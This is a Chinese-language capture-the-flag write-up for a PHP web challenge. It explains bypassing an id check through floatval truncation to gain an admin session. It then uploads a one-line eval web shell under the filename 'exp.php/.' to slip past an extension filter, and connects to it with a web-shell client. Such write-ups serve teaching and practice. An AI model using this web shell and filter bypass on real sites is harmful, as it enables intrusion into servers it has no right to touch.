一样的ISC题目,这次漏洞出在项目管理页面。
点进去看到一个view-source,有三段PHP代码:
第一段,检测传入的page变量是否是index.php,如果不是就包含flag.php,没什么意思。
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
第二段:
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
检测session中是否有admin,有的话可以通过post方式上传文件,通过正则检测后,会上传到uploaded/backup
目录下,这里可以看到php、php3、php4、php5、php7、html
都不可以上传。
第三段:
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
- 检查id是否设置
- 判断第一位是否为1
- 判断最后一位是否为9
都满足后进行sql查询。
刚开始以为应该是考察sql注入,但是注意到有mysql_real_escape_string
函数,虽然可以通过宽字节注入绕过,但是尝试了一番没有效果,只好放弃。
接着审计代码看到下面绕过判断后,会设置$_SESSION['admin'] = True;
,再结合第二段的上传代码,就有思路了。
isset($_GET[id])
:只需要加上参数访问即可floatval($_GET[id])!=='1'
:floatval函数在遇到字符时,会将其截断:var_dump(floatval("1aaa345"))
//float(1)
substr($_GET[id], -1) === '9'
:只需要最后是9就行- 接着猜admin的id,应该不是0就是1
最后得到payload:
http://220.249.52.134:53965/view-source.php?page=123&id=1aaa9&submit=submit#
访问后得到,相应的也应该设置好了session,准备去上传文件。
上传文件处也有一处检测:
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))
这段正则表达式的意思是文件结尾不能以.php
结尾(大概是)
构造payload:
con=<?php eval(@$_POST['exp']);?>&file=exp.php/.
上传后菜刀链接,得到flag